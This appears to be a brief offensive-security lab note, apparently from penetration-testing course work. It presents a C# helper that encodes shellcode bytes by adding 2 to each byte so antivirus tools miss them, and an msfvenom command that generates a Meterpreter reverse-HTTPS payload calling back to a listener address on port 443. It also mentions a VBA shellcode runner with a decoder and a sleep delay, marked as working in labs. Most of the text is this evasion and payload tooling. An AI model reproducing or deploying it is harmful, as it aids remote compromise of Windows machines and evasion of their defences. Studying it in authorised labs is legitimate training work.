Encryption

Lets alter our Helper script

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Helper
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[657] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
                0x56,0xff,0xd5};
            byte[] encoded = new byte[buf.Length];

            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
            }

            uint counter = 0;

            StringBuilder hex = new StringBuilder(encoded.Length * 2);

            foreach (byte b in encoded)
            {
                hex.AppendFormat("{0:D}, ", b);
                counter++;
                if (counter % 50 == 0)
                {
                    hex.AppendFormat("_{0}", Environment.NewLine);
                }
            }
            Console.WriteLine("The payload is: " + hex.ToString());

        }
    }
}

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.220.128 LPORT=443 -f csharp

VBA shellcode runner with decoder and sleep function added

Working in labs

Last updated